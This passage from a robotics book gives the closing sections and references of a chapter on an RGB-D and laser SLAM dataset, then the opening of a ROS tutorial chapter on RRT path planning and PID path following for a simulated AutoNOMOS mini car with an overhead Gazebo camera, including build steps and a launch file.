sensors such as RGB-D cameras and LRFs, SLAM algorithms and open source

projects in general. Furthermore, we provide a large dataset with sensor data, allow-

ing anyone without access to these sensors to build their work on top of them, which

can be used for mapping, as well as localization algorithms, scene and object detec-

tion and recognition, and much more.

[email protected]


In the future, we have plans to provide a similar dataset with several more sen-

sors, by adding two more laser range finder devices (Hokuyo URG-04LX and SICK

LMS500), and two additional RGB-D cameras (Orbbec Astra and Stereolabs ZED),

allowing for direct comparison of the sensors under the same conditions.

Acknowledgements We are sincerely thankful for the contributions on the free and open-sourceframeworks adopted in this work, particularly: Stefan Kohlbrecher for his work on Hector Mapping,Matthieu Labbé for his work on RTAB-Map, and Thiemo Wiedemeyer for his work on the iai_kinect2

ROS driver.This work was supported by the Seguranças robóTicos coOPerativos (STOP) research project (ref.CENTRO-01-0247-FEDER-017562), co-funded by the “Agência Nacional de Inovação” within thePortugal2020 programme.

References

1. Araújo, A., Portugal, D., Couceiro, M.S., Rocha, R.P.: Integrating Arduino-based educationalmobile robots in ROS. J. Intell. Robot. Syst., Spec. Issue Auton. Robot. Syst. 77(2), 281–298.Springer (2015)

2. Bradski, G., Kaehler, A.: Learning OpenCV: Computer Vision with the OpenCV library.O’Reilly Media, Inc. (2008)

3. Noori, F.M., Portugal, D., Rocha R.P., Couceiro, M.S.: On 3D simulators for multi-robot sys-tems in ROS: MORSE or Gazebo? In: Proceedings of the 2017 IEEE International Symposiumon Safety, Security, and Rescue Robotics (SSRR 2017), Shanghai, China, 11–13 October 2017

4. Quigley, M., Conley, K., Gerkey, B., Faust, J., Foote, T., Leibs, J., Berger, E., Wheeler, R.,Ng, A.Y.: ROS: an open-source robot operating system. In: Proceedings of the 2009 IEEEInternational Conference on Robotics and Automation (ICRA 2009) Workshop on Open SourceSoftware, Kobe, Japan, 12–17 May 2009, vol. 3, no. 3.2 (2009)

5. Machado Santos, J., Portugal, D., Rocha, R.P.: An evaluation of 2D SLAM techniques availablein robot operating system. In: Proceedings of the 2013 IEEE International Symposium onSafety, Security and Rescue Robotics (SSRR 2013), Linköping, Sweden, 21–26 October 2013

6. Rusu, R., Cousins, S.: 3D is here: point cloud library (PCL). In: Proceedings of the 2011 IEEEInternational Conference on Robotics and Automation (ICRA 2011), Shanghai, China, 9–13May 2011

7. Thrun, S., Fox, D., Burgard, W., Dellaert, F.: Robust monte carlo localization for mobile robots.Artif. Intell. (AI) 128(12), 99–141 (2000)

8. Moore, T., Stouch, D.: A generalized extended Kalman filter implementation for the robot oper-ating system. In: Proceedings of the 13th International Conference on Intelligent AutonomousSystems (IAS 2013), Advances in Intelligent Systems and Computing, vol. 302, pp. 335–348,July 2014. Springer (2014)

9. Marder-Eppstein, E., Berger, E., Foote, T., Gerkey, B., Konolige, K..: The office marathon:robust navigation in an indoor office environment. In: Proceedings of the 2010 IEEE Inter-national Conference on Robotics and Automation (ICRA 2010), Anchorage, AK, USA, pp.300–307, May 2010

10. Hsiao, K., Chitta, S., Ciocarlie, M., Jones, E.G.: Contact-reactive grasping of objects withpartial shape information. In: Proceedings of the 2010 IEEE/RSJ International Conference onIntelligent Robots and Systems (IROS 2010), pp. 1228–1235, October 2010

11. Bouchier, P.: Embedded ROS. IEEE Robot. Autom. Mag. 20(2), 17–19 (2013)12. Faria, D., Martins, R., Lobo, J., Dias, J.: Extracting data from human manipulation of objects

towards improving autonomous robotic grasping. Robot. Auton. Syst. 60(3), 396–410. Elsevier(2012)

[email protected]


13. Portugal, D., Couceiro, M.S. Rocha, R.P.: Applying Bayesian learning to multi-robot patrol.In: Proceedings of the 2013 International Symposium on Safety, Security and Rescue Robotics(SSRR 2013), Linköping, Sweden, 21–26 October 2013

14. Sales, F.F., Portugal, D., Rocha, R.P.: Real-time people detection and mapping system for amobile robot using a RGB-D sensor. In: Proceedings of the 11th International Conferenceon Informatics in Control, Automation and Robotics (ICINCO 2014), Vienna, Austria, 1–3September 2014

15. Alami, R., Albu-Schaeffer, A., Bicchi, A., Bischoff, R., et al.: Safe and dependable physicalhuman-robot interaction in anthropic domains: state of the art and challenges. In: Proceedingsof the 2006 IEEE/RSJ International Conference on Intelligent Robots and Systems (IROS2006), Workshop on Physical Human-Robot Interaction in Anthropic Domains, Beijing, China,October 2006

16. Rocha, R.P., Portugal, D., Couceiro, M., Araújo, F., Menezes, P., Lobo, J.: The CHOPIN project:cooperation between Human and rObotic teams in catastroPhic INcidents. In: Proceedings ofthe 2013 International Symposium on Safety, Security and Rescue Robotics (SSRR 2013),Linköping, Sweden, 21–26 October 2013

17. Portugal, D., Marques L., Armada, M.: Deploying field robots for humanitarian demining:challenges, requirements and research trends. In: Mobile Service Robotics: 17th InternationalConference on Climbing and Walking Robots (CLAWAR 2014) and the Support Technologiesfor Mobile Machines, pp. 649–656. World Scientific Publishing (2014)

18. Couceiro, M.S., Portugal, D.: Swarming in forestry environments: collective exploration andnetwork deployment. In: Swarm Intelligence—From Concepts to Applications, IET (2017)

19. Siebert, S., Teizer, J.: Mobile 3D mapping for surveying earthwork projects using an unmannedaerial vehicle (UAV) system. Autom. Constr. 41, 1–14. Elsevier (2014)

20. Montemerlo, M., Thrun, S.: Large-scale robotic 3-D mapping of urban structures. In: Experi-mental robotics IX, pp. 141–150. Springer, Berlin, Heidelberg (2006)

21. Sequeira, V., Gonçalves, J.G.M., Ribeiro, M.I.: 3D environment modelling using laser rangesensing. Robot. Auton. Syst. 16, 81–91 (1995)

22. Thrun, S., Burgard, W., Fox, D.: A real-time algorithm for mobile robot mapping with appli-cations to multi-robot and 3D mapping. In: Proceedings of the IEEE International Conferenceon Robotics and Automation (ICRA 2000), San Francisco, CA, USA, 24–28 April 2000

23. Kanade, T., Yoshida, A., Oda, K., Kano, H., Tanaka, M.: A stereo machine for video-ratedense depth mapping and its new applications. In: Proceedings of the IEEE Computer SocietyConference on Computer Vision and Pattern Recognition (CVPR 1996), pp. 196–202, June1996

24. Surmann, H., Lingemann, K., Nüchter, A., Hertzberg, J.: A 3D laser range finder for autonomousmobile robots. In: Proceedings of the 32nd International Symposium on Robotics (ISR 2001),pp. 153–158, 19–21 April 2001

25. Frueh, C., Zakhor, A.: 3D model generation for cities using aerial photographs and groundlevel laser scans. In: Proceedings of the IEEE Conference on Computer Vision and PatternRecognition (CVPR 2001), vol. 2, no. 2, pp. 31–38, Kauai, USA (2001)

26. Brenneke, C., Wulf, O., Wagner, B.: Using 3D laser range data for SLAM in outdoor environ-ments. In: Proceedings of the IEEE/RSJ International Conference on Intelligent Robots andSystems (IROS 2003), Las Vegas, NV, USA, 27–31 October 2003

27. Howard, A., Wolf, D.F., Sukhatme, G.S.: Towards 3D mapping in large urban environments.In: Proceedings of the IEEE/RSJ International Conference on Intelligent Robots and Systems(IROS), pp. 419–424, Sendai, Japan, September 2004

28. Cole, D.M., Newman, P.M.: Using laser range data for 3D SLAM in outdoor environments. In:Proceedings of the IEEE International Conference on Robotics and Automation (ICRA 2006),Orlando, FL, USA, 15–16 May 2006

29. Kohlhepp, P., Pozzo, P., Walther, M., Dillmann, R.: Sequential 3D-SLAM for mobile actionplanning. In: Proceedings of the IEEE/RSJ International Conference on Intelligent Robots andSystems (IROS 2004), Sendai, Japan, 28 September–2 October 2004

[email protected]


30. Weingarten, J., Siegwart, R.: 3D SLAM using planar segments. In: Proceedings of the IEEE/RSJInternational Conference on Intelligent Robots and Systems (IROS 2006), Beijing, China, 9–15October 2006

31. Rocha, R., Dias, J., Carvalho, A.: Cooperative multi-robot systems: a study of vision-based3-D mapping using information theory. Robot. Auton. Syst. 53(3–4), 282–311 (2005)

32. Sáez, J.M., Hogue, A., Escolano, F., Jenkin, M.: Underwater 3D SLAM through entropy min-imization. In: Proceedings of the IEEE International Conference on Robotics and Automation(ICRA 2006), Orlando, FL, USA, 15–19 May 2006

33. Nüchter, A., Lingemann, K., Hertzberg, J.: 6D SLAM—mapping outdoor environments. J.Field Robot. 24(8–9), 699–722 (2007)

34. Borrmann, D., Elseberg, J., Lingermann, K., Nüchter, A., Hertzberg, J.: Globally consistent3D mapping with scan matching. Robot. Auton. Syst. 56, 130–142 (2008)

35. Tomono, M.: Robust 3D SLAM with a stereo camera based on an edge-point ICP algorithm. In:Proceedings of the IEEE International Conference on Robotics and Automation (ICRA 2009),Kobe, Japan, 12–17 May 2009

36. Lindner, M., Kolb, A., Hartmann, K.: Data-fusion of PMD-based distance-information andhigh-resolution RGB-images. In: Proceedings of the IEEE International Symposium on Signals,Circuits and Systems (ISSCS 2007), Iasi, Romania, 13–14 July 2007

37. Zhu, J., Wang, L., Yang, R., David, J.: Fusion of time-of-flight depth and stereo for highaccuracy depth maps. In: Proceedings of the IEEE Conference on Computer Vision and PatternRecognition (CVPR 2008), Anchorage, AK, USA, 23–28 June 2008

38. Prusak, A., Melnychuk, O., Roth, H., Schiller, I., Koch, R.: Pose estimation and map buildingwith a PMD-camera for robot navigation. Int. J. Intell. Syst. Technol. Appl. 5(3–4), 255–264(2008)

39. May, S., Droeschel, D., Holz, D., Fuchs, S., Malis, E., Nüchter, A., Hertzberg, J.: Three-dimensional mapping with time-of-flight cameras. J. Field Robot. 26(11–12), 934–965 (2009)

40. Holz, D., Droeschel, D., Behnke, S., May, S., Surmann, H.: Fast 3D perception for collisionavoidance and SLAM in domestic environments. Mob. Robot. Navig. 53–84. InTechOpen(2010)

41. Pirker, K., Rüther, M., Bischof, H., Schweighofer, G., Mayer, H.: An omnidirectional time-of-flight camera and its application to indoor SLAM. In: Proceedings of the 2010 InternationalConference on Control Automation Robotics & Vision (ICARCV 2010), Singapore, 7–10December 2010

42. Henry, P., Krainin, M., Herbst, E., Ren, X., Fox, D.: RGB-D mapping: using kinect-style depthcameras for dense 3D modeling of indoor environments. Int. J. Robot. Res. 31(5), 647–663(2012)

43. Endres, F., Hess, J., Engelhard, N., Sturm, J., Cremers, D., Burgard, W.: An evaluation of theRGB-D SLAM system. In: Proceedings of the IEEE International Conference on Robotics andAutomation (ICRA 2012), Saint Paul, MN, USA, 14–18 May 2012

44. Bachrach, A., Prentice, S., He, R., Henry, P., Huang, A.S., Krainin, M., Maturana, D., Fox, D.,Roy, N.: Estimation, planning, and mapping for autonomous flight using an RGB-D camera inGPS-denied environments. Int. J. Robot. Res. 11(31), 1320–1343 (2012)

45. Oliver, A., Kang, S., Wünsche, B. C., MacDonald, B.: Using the Kinect as a navigation sensorfor mobile robotics. In: Proceedings of the 27th Conference on Image and Vision ComputingNew Zealand (IVCNZ 2012), Dunedin, New Zealand, 26–28 November 2012

46. Hornung, A., Wurm, K.M., Bennewitz, M., Stachniss, C., Burgard, W.: OctoMap: an efficientprobabilistic 3D mapping framework based on octrees. Autono. Robots 34(3), 189—206 (2013)

47. Endres, F., Hess, J., Sturm, J., Cremers, D., Burgard, W.: 3D Mapping with an RGB-D camera.IEEE Trans. Robot. 30(1), 177-187 (2014)

48. Mur-Artal, R., Tarós, J.D.: ORB-SLAM2: an open-source SLAM system for monocular, stereoand RGB-D cameras. IEEE Trans. Robot. 33(5), 1255–1262 (2017)

49. Engel, J., Schöphs, T., Cremers, D.: LSD-SLAM: large-scale direct monocular SLAM. In:European Conference on Computer Vision (ECCV 2014), Lecture Notes in Computer Science,vol. 8690, pp. 834–849. Springer (2014)

[email protected]


50. Pomerleau, F., Colas, F., Siegwart, R., Magnenat, S.: Comparing ICP variants on real-worlddata sets. Auton. Robots 34(3), 133–148 (2013)

51. Hess, W., Kohler, D., Rapp, H, Andor, D.: Real-time loop closure in 2D LIDAR SLAM. In:Proceedings of the IEEE International Conference on Robotics and Automation (ICRA 2016),pp. 1271–1278, Stockholm, Sweden, 16–21 May 2016

52. Koide, K., Miura, J., Menegatti, E.: A portable 3D LIDAR-based system for long-term andwide-area people behavior measurement. IEEE Trans. Hum.-Mach. Syst. (under review)

53. Zhang, Z., Singh, S.: LOAM: lidar odometry and mapping in real-time. In: Robotics: Scienceand Systems Conference (RSS 2014), Berkeley, CA, July 2014

54. Engel, J., Koltun, V., Cremers, D.: Direct sparse odometry. IEEE Trans. Pattern Anal. Mach.Intell. 40(3), 611–625 (2018)

55. Fankhauser, P., Bloesch, M., Rodriguez, D., Kaestner, R., Hutter, M., Siegwart, R.: Kinectv2 for mobile robot navigation: evaluation and modeling. In: Proceedings of the 2015 IEEEInternational Conference on Advanced Robotics (ICAR 2015), pp. 388–394, Istanbul, Turkey,27–31 July 2015

56. Vasquez, H., Vargas, H.S., Sucar, L.E.: Using gestures to interact with a service robot usingKinect 2. Res. Comput. Sci. 96, 85–93 (2015)

57. dos Santos, D.R., Basso, M., Khoshelham, K., de Oliveira, E., Pavan, N., Vosselman, G.:Mapping indoor spaces by adaptive coarse-to-fine registration of RGB-D data. IEEE Geosci.Remote Sens. Lett. 13(2), 262–266 (2016)

58. Singhania, P., Siddharth, R.N., Das, S., Suresh, A.K.: Autonomous navigation of a multirotorusing visual odometry and dynamic obstacle avoidance. In: Proceedings of the 2017 IARCSymposium on Indoor Flight Issues, Beijing, China, September 2017

59. Dedek, J., Golembiovsky, M., Slanina, Z.: Sensoric system for navigation of swarm roboticsplatform. In: Proceedings of the 2017 18th IEEE International Carpathian Control Conference(ICCC 2017), pp. 429–433, Sinaia, Romania, 28–31 May 2017

60. Labbé, M., Michaud, F.: Online global loop closure detection for large-scale multi-sessiongraph-based SLAM. In: Proceedings of the 2014 IEEE/RSJ International Conference on Intel-ligent Robots and Systems (IROS 2014), pp. 2661–2666, Chicago, IL, USA, 14–18 September2014

61. Labbé, M., Michaud, F.: Appearance-based loop closure detection for online large-scale andlong-term operation. In: IEEE Trans. Robot. 29(3), 734–745 (2013)

62. Shi, J., Tomasi, C.: Good features to track. In: Proceedings of the IEEE Computer SocietyConference on Computer Vision and Pattern Recognition (CVPR 1994), pp. 593–600 (1994)

63. Labbé, M., Michaud, F.: RTAB-map as an open-source Lidar and visual SLAM library forlarge-scale and long-term online operation. J. Field Robot. (2018)

64. Kohlbrecher, S., Meyer, J., Von Stryk, O., Klingauf, U.: A flexible and scalable SLAM systemwith full 3D motion estimation. In: Proceedings of the 2011 IEEE International Symposium onSafety, Security and Rescue Robotics (SSRR 2011), pp. 155–160, Kyoto, Japan, 1–5 November2011

[email protected]


David Portugal completed his Ph.D. degree on Robotics andMulti-Agent Systems at the University of Coimbra in Portu-gal, in March 2014. His main areas of expertise are coop-erative robotics, multi-agent systems, simultaneous localiza-tion and mapping, field robotics, human-robot interaction, sen-sor fusion, metaheuristics, and graph theory. He is currentlyworking as a Senior Researcher at Ingeniarius Ltd. (Portu-gal) in the STOP R&D technology transfer project on multi-robot patrolling. He has been involved in several local and EU-funded research projects in Robotics and Ambient Assisted Liv-ing, such as CHOPIN, TIRAMISU, Social-Robot, CogniWinand GrowMeUp. He has co-authored over 60 research articlesincluded in international journals, conferences and scientificbooks.

André Araújo received the M.Sc degree in Electrical and Com-puter Engineering from the University of Coimbra (UC) in July2012, with a MSc dissertation entitled “ROSint—Integrationof a mobile robot in ROS architecture”. Afterwards, he helda research fellowship in the CHOPIN (Cooperation betweenHuman and rObotic teams in catastroPhic INcidents) R&Dproject, at the Institute of Systems and Robotics (ISR-UC),and a research fellowship in the PRODUTECH project (Pro-duction Technologies Cluster) R&D initiative, at the Centre ofRobotics in Industry and Intelligent Systems (CROB), INESCTEC, Porto. His main research interests are Mobile Robotics,Unmmanned Aerial Vehicles, Internet of Things, Mechatronics,and Low-level Control. He is a co-founder of Ingeniarius, Ltd.(Portugal), currently performing as CTO and CFO.

Micael S. Couceiro obtained the Ph.D. degree in Electrical andComputer Engineering at the University of Coimbra. Over thepast 10 years, he has been conducting scientific research on sev-eral areas, including robotics, computer vision, sports engineer-ing, and others. This resulted on more than 50 articles in inter-national impact factor journals, more than 60 articles at inter-national conferences, and 3 books. He is currently an AssociateResearcher at the Institute of Systems and Robotics, a PostdocResearcher at the Faculty of Human Kinetics, and an InvitedProfessor at the Polytechnic Institute of Tomar. He is also co-founder and CEO of Ingeniarius, Ltd. (Portugal).

[email protected]

Path Planning and Followingfor an Autonomous Model Car Usingan “Eye in the Sky”

Rodrigo Rill-García, Jose Martinez-Carranza, Edgar Granados

and Marco Morales

Abstract Autonomous driving is a trend topic that is enabled by communicationbetween devices. Under this scope, ROS is a useful tool for running multiple pro-cesses in a graph architecture, where each node may receive and post messages thatare consumed by other nodes for their own needs. In this tutorial chapter we discuss asolution for autonomous path planning using a Randomized Random Tree (RRT) anda simple control scheme based on PIDs to follow that path. The control uses internalsensors and an external camera that works as an “eye in the sky”. This is imple-mented with the help of ROS version 1.12.13 using the Kinetic distribution. Resultsare validated using the Gazebo multi-robot simulator, version 7.0.0. The robot modelused corresponds to the AutoNOMOS mini developed by PHD Raúl Rojas, while the“eye in the sky” is an artificial simple RGB camera created in Gazebo for researchpurposes. The Rviz package is used to monitor the simulation. The repository forthis project can be found at https://github.com/Sutadasuto/AutoNOMOS_Stardust.(The original model for the AutoNOMOS mini was retrieved from https://github.com/EagleKnights/EK_AutoNOMOS_Sim).

Keywords Autonomous driving · Path planning · Path following · Eye in the sky

Rodrigo Rill-García: This research was supported in part by Consejo Nacional de Ciencia y Tec-nología (CONACYT).Marco Morales: This research was supported in part by Asociación Mexicana de Cultura A.C.

R. Rill-García (B) · J. Martinez-CarranzaInstituto Nacional de Astrofísica, Óptica y Electrónica Luis Enrique Erro 1, Santa MaríaTonanzintla, 72840 Puebla, Mexicoe-mail: [email protected]

J. Martinez-CarranzaUniversity of Bristol, Bristol BS8 1UB, UKe-mail: [email protected]

E. Granados · M. MoralesITAM, Río Hondo 1, Ciudad de México, 01080 México, Méxicoe-mail: [email protected]

M. Moralese-mail: [email protected]


25

[email protected]

26 R. Rill-García et al.

1 Introduction

Autonomous driving is a subject of research interest which has produced results thathave already been applied in successful commercial products (such as the Uber self-driving cars). Reliability and security are important issues for this kind of systemsthat need to be addressed.

An important requirement in robotics is the communication and cooperationbetween devices. Under this scope, ROS is a user-friendly robotic middleware forthe large-scale integration of devices to build robotic systems.

This chapter takes this concept in order to suggest an alternative for the currentautonomous driving paradigms where only on-board information is used for naviga-tion. The key idea consists in creating communication with an aerial camera or “eyein the sky” (which in real-life scenarios can be provided by one or many drones) toprovide the vehicle additional information about its context, thus improving threespecific tasks: path planning, path following, and obstacle avoiding. Although thisproject focuses on a car-like robot, it is important to notice that these tasks can betranslated to any mobile autonomous system such as domestic robots or industrialtransport robots, where the aerial camera condition can be easily satisfied.

To summarize, the current chapter provides the reader a useful platform to test pathplanning and following algorithms for car-like robots. Particularly, we will discussthe next topics:

– A brief discussion of Rapidly-Exploring Random Trees (RRT) for path planningwith nonholonomic robots using RGB images as occupancy maps

– A brief discussion on PID controllers for path following using RBG images as thesource of closed-loop feedback

– Creating and using worlds for Gazebo– Creating a RGB camera for Gazebo, including a plugin for publishing to ROS

topics– Getting pose data from Gazebo via ROS topics– Sending markers to Rviz to display 3D shapes, 3D points, and lines, as well as

tracking a robot in the generated map– Translating XY coordinates from an image to real-scale 3D points useful for dis-

play

2 Background

The Rapidly-expanding Random Tree algorithm (RRT) [1] is designed to efficientlysearch high-dimensional spaces by randomly building a space-filling tree. Whenit comes to planning a path for a nonholonomic system such a car, the physicalconstrains of the system are accounted for in the local planner used for the expansionof the tree.

[email protected]

Path Planning and Following for an Autonomous Model Car Using an “Eye in the Sky” 27

In this work, we have three controllers available to deal with nonholonomic con-strains. At each iteration of the algorithm, one of these three controllers is chosen atrandom to expand the tree to a random new node. These controllers are:

– Straight forward steering– Left steering– Right steering

In the Straight forward steering controller, a random distance is gotten. Usingthis distance, a line of that length is drawn from the current position of the vehicle;however, the first part of that line must be tangent to the car’s current yaw orientation,to ensure viability of the proposed path. The simplest case from the list is the firstone, as a straight line of length L with a slope equivalent to the robot’s orientation isdrawn.

The Left steering and Right steering controllers are equivalent to each other, butmirrored. In these cases, in addition to the random distance, a random radius iscalculated. This is because an arc will be drawn instead of a straight line; thus, weneed the center of the circle and the angle of the portion of the circumference inwhich the arc is inscribed.

For the three controllers described above, the expected orientation of the vehicleat the end of the proposed line is the angle corresponding to the tangent line ofthe circle at that point (in the case of the straight line, it is considered for practicalpurposes as an arc from a circle with infinite1 radius).

This generation of random lines is executed over and over until the goal is reached.However, two major considerations should be made:

– All these lines are drawn with respect to the local coordinate system of the car;therefore, they should be later translated to the global system.

– Collision detection is performed by testing intersection between lines and obstaclesin the occupancy map. Thus, lines in collision are discarded.

Once the path is planned, the next task is to follow it. For this purpose, thecar provides control over two Degrees Of Freedom (DOF): velocity and steering.Under this scheme, three different PID controllers were implemented in parallel:two for the steering, and one for velocity. PID stands for Proportional, Integral andDerivative, and those terms are used in a formula like this: control_signal = K p ∗

e + Ki ∗∫

te + Kd ∗

dedt

, where the K s are tuned by the user, and e is the error(e = re f erence − current_state). This kind of controllers is best suited for linearsystems, and is specially useful when the mathematical model of such systems isunknown.

The whole path is divided into subpaths, which consist of pairs of points. Thegoal from subpathn is the beginning of subpathn+1. As any curve can be describedas the joint of many short straight lines, each of this subpaths consists of a straightline from point P1 to point P2, as seen in Fig. 1. Therefore, the desired output of the

1As we can’t actually use an infinite value, a large number is arbitrarily chosen so that the tangentlooks colinear to the line previously drawn.

[email protected]


Fig. 1 Graphical representation of the errors calculated for the control law

control loop is the car moving over all these lines until reaching the goal (each linebeing a control subtask).

For this specific task, three different errors are defined with respect to a coordinatesystem generated by P1 and P2:

– Velocity error: the distance between the current position of the car and P2 in the X’axis. This can be treated as the horizontal distance between the car and the desiredpoint to reach, as seen in Fig. 1.

– Line error: the perpendicular distance between the current position of the car andthe X’ axis. This can be understood as the shortest distance between the car andthe line it should be following, as seen in Fig. 1.

– Orientation error: the angle between the car’s X axis and the X’ axis. This canbe interpreted as how well is the car aligned to the line it must follow, as seen inFig. 1. It is calculated using a rotation matrix approach presented by Caubet andBiggs to work with values in the range [−1, 1] [2]

Basically, the three errors are using the X’ axis as the reference. Further refinementis done to achieve a better performance, but these three PIDs are the cornerstone ofthe control law.

3 Related Work

Talking about path planning, for the 2007 DARPA Urban Challenge, Kuwuataet al. [3] described a real-time motion planning algorithm, based on the RRTapproach, applicable to autonomous vehicles operating in an urban environment.Their primary novelty was the use of closed-loop prediction in the framework ofRRT.

When it comes to obstacle avoiding, it is not enough to detect the interference but tochange the plan according to the new context. This is called path deformation (a path,that has been computed beforehand, is continuously deformed on-line in response

[email protected]


to unforeseen obstacles). Kurniawati and Fraichard [4] addressed this problem witha scheme called 2-STD, which operates in 2 steps: a collision avoidance step and aconnectivity maintenance step ensuring that the deformed trajectory remains feasible.

About the “eye in the sky” paradigm, the researchers in charge of the EmergencyIntegrated Lifesaving Lanyard (EMILY) are working with tethered drones to createan “eye in the sky” combined with onboard thermal sensing to autonomously navigateEMILY to a cluster of people [5].

A recent work concerning on path planning plus velocity/acceleration planningwas presented by Hu et al. [6]. According to the authors, the highlights of theirproposal are: a method providing an optimal path with an appropriate correspondingacceleration and speed, and a proposed method for collision risks on single-lane andmulti-lane roads. A remark should be done because their work addresses avoidanceof both static and moving obstacles with a dynamic path planning.

4 ROS Environment Configuration

This application doesn’t require any particular package besides the ones installed bydefault with ROS Kinetic and the ones from the repository mentioned for this chapter.However, to be able to control the AutoNOMOS from ROS topics, it is necessary tobuild a plugin2 contained in the repository.

A step-by-step guide on how to setup the project can be found in the READMEfile of the repository. Nevertheless, here we describe the necessary steps sectioncorresponding to the plugin. In a terminal, access the Gazebo_plugin folder andenter the following commands:

mkdir bui ldcd bui ldcmake . . /makesudo ged i t ∼/ . bashrc

The first four commands build the plugin. Once the plugin has been compiled, weneed to tell our system where to find our workspace and the plugin. To do this, addthe next lines at the end of the file opened by the fifth command:

source / path / to / repo / AutoNOMOS_Stardust / AutoNOMOS_simulation / devel /se tup . bash

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH : / path / to / repo /AutoNOMOS_Stardust / Gazebo_plugin / bui ld

Be sure to replace ‘/path/to/repo’ for the path where you downloaded the repos-itory. Those lines are defining the path variables for the project and the plugin.Once this is done, you are ready to build the whole project. To do this, open the

2For further reference about plugins, it is highly recommended to read this tutorial: http://gazebosim.org/tutorials?tut=plugins_hello_world.

[email protected]


Fig. 2 RViz as seen at start up. Note that no relevant information is shown yet

/AutoNOMOS_Stardust/AutoNOMOS_simulation folder in terminal. There, exe-cute the next commands:

catkin_makesource ∼/ . bashrc

5 Starting with a Test

The README file contains also a quick guide for running the project.3 First, open the/AutoNOMOS_Stardust/AutoNOMOS_simulation folder in terminal. This folder isthe workspace used for the project. In different tabs, run the next commands:

roscorerosrun r v i z r v i zroslaunch skycam skycam . launchroslaunch autonomos_gazebo my_world . launch

roscore is used just to start ROS. Then, rosrun rviz rviz opens the 3D visualizer;once you execute the command, a window like the one in Fig. 2 should be open.

Once you execute roslaunch skycam skycam.launch, the package in charge ofcontrol and visualization starts working. The only visible changes are shown in Fig. 3.Please be sure to identify the new little white window opened by this command, asthat one is in charge of controlling the moving obstacle in the world Fig. 3.

3A short video guide can be found at https://www.youtube.com/watch?v=UtSveD9QwEc&t=7s.

[email protected]


Fig. 3 RViz now shows theworld that we will see inGazebo

Finally, by running roslaunch autonomos_gazebo my_world.launch Gazebo opensup and loads both our world and the AutoNOMOS mini model Fig. 4. Once this isdone, you are ready to test the project. As seen in Fig. 5, Rviz now is showing somerelevant information.

The central window shows a representation of the Gazebo world as well as theposition/orientation of the AutoNOMOS mini (this is represented as a coordinatesystem, where the red axis points to the direction the car is facing). The “Laser”window shows a graphical representation of the points gotten by the 360 laser scanon board of the AutoNOMOS. The “RRT” window depicts a graphical representationof the path planning, as well as a comparison between planned path and actuallyfollowed path when the vehicle is moving. The “FrontCam” window lets us see theimages gotten from the camera on board of the car, while “UpperCam” streams theimages obtained from the “eye in the sky”.

Finally, to test the project, you just need to define the goal point for theAutoNOMOS mini. To do this, you must click the “2D Nav Goal” tool in the tool-barat the upper part of the Rviz window. Once the tool is selected, click on the point ofthe map you want the car to reach; this point will be published to a ROS topic and apath will be planned to get there. Once the path is defined, the vehicle will follow itautonomously. An example of the project working is depicted in Fig. 6.

Whenever the AutoNOMOS gets to the desired point, the path will disappear fromthe map and you can ask for a new point as done the first time.

[email protected]


Fig. 4 This is the Gazebo simulator. Please note the little black object on the blue line above themap: it is the sky camera

Fig. 5 This is the final setup of our visualizer. As you can notice, no more “No image” labels areshown, as Rviz is getting the topics it needs from Gazebo

[email protected]


Fig. 6 Rviz shows the AutoNOMOS mini following the path it planned to reach the desired goal.The path is represented by a series of blue points (squares) joined by green lines

6 The AutoNOMOS_Stardust Project

Once you were able to test the project, it is time to analyze its parts. Some slightremarks should be done before starting:

– the packages are written in C++, so you need to be fairly familiar with the language– the launch files (used to begin our ROS nodes) and the config files for Gazebo

models are written in xml, but only basic knowledge is enough to work with them(at least for this project)

– the code in charge of creating our Gazebo models is written in the SDF format(instead of the previously standard URDF4)

Figure 7 shows the ROS architecture generated for this project, as generated byROS itself.

6.1 Creating and Using a New Gazebo World for Our Robot

First we will discuss how to create a new world for our robot and the way we can useROS to load the robot in Gazebo within that world (although this second task can bedone with any preexisting world).

4Further information about both formats and their use can be found here http://gazebosim.org/tutorials?tut=ros_urdf.

[email protected]


Fig. 7 \skycam is the node in charge of path planning, path following and obstacle avoidance.\using_markers allows communication with the 3D visualization tool for ROS called Rviz. \cylin-der_keyboard allows control over a mobile obstacle and \gazebo monitors communication withGazebo

To create a new Gazebo world, you can open the simulator without ROS interven-tion. Once there, you can either add Gazebo models or simple geometric 3D figuresto build your new world. In Fig. 8 we are showing how to put a dumpster in ourworld. As you may notice, the “Insert” tab contains many different models; if youwant to add a new model to the list, you should add its folder in the next location:/home/user/.gazebo/models (considering a typical installation in Ubuntu). Wheneveryou are done building the world for your robot,5 you should click File ⇒ Save WorldAs. For the purpose of this project, you should save the new world at

∼/ AutoNOMOS_Stardust / AutoNOMOS_simulation / s rc / autonomos_gazebo / worlds

Please be sure the filename looks something like “desired_name.world” (the.world part is the most important one). This is the name we will use to tell ROShow to load our world into Gazebo.

To do this, look for the my_world.launch file in the next location:

∼/ AutoNOMOS_Stardust / AutoNOMOS_simulation / s rc / autonomos_gazebo / launch

It should look something like this:

1 <?xml version=" 1.0 "?>2 <launch>3 <!−− We resume the log ic in empty_world . launch , changing

only the name of the world to be launched −−>

5You can read further information about creating Gazebo worlds here: http://gazebosim.org/tutorials?tut=build_world.

[email protected]


Fig. 8 The options to add elements in the world are surrounded in red. Additionally, the locationof the dumpster model in the map is pointed with a red arrow

4 <include f i l e =" $( f ind gazebo_ros ) / launch / empty_world . launch ">

5 <arg name=" verbose " value=" t r ue " />67 <arg name="world_name" value=" $( f ind autonomos_gazebo ) /

worlds / r o b o t i c s . world " />8 <!−− more default parameters can be changed here −−>9 < / inc lude>

10 <node name = "spawn_model" pkg = " gazebo_ros " type = "spawn_model" output = " screen " args="−sdf −modelAutoNOMOS_mini −f i l e $( f ind autonomos_gazebo ) / models /AutoNOMOS_mini / model . sdf " />

1112 <node name = " tf_autonomos " pkg = " autonomos_simulation "

type = " t f2_broadcas ter_node " args = "AutoNOMOS_mini"/>

1314 <node name = " robot_pose " pkg = " autonomos_simulation "

type = " robot_pose_publ isher " />1516 <node name = "spawn_cam_model" pkg = " gazebo_ros " type =

"spawn_model" output = " screen " args="−sdf −modelrgb_cam −f i l e $( f ind autonomos_gazebo ) / models / rgb_cam/ model . sdf " />

1718 < / launch>

Look at line 7, as this is the one in charge of telling ROS which world we wantGazebo to load. Within the repository provided for this chapter, the desired world

[email protected]


its called robotics.world; therefore, if you want to use your own world, you shouldchange this filename for the one you want to use.

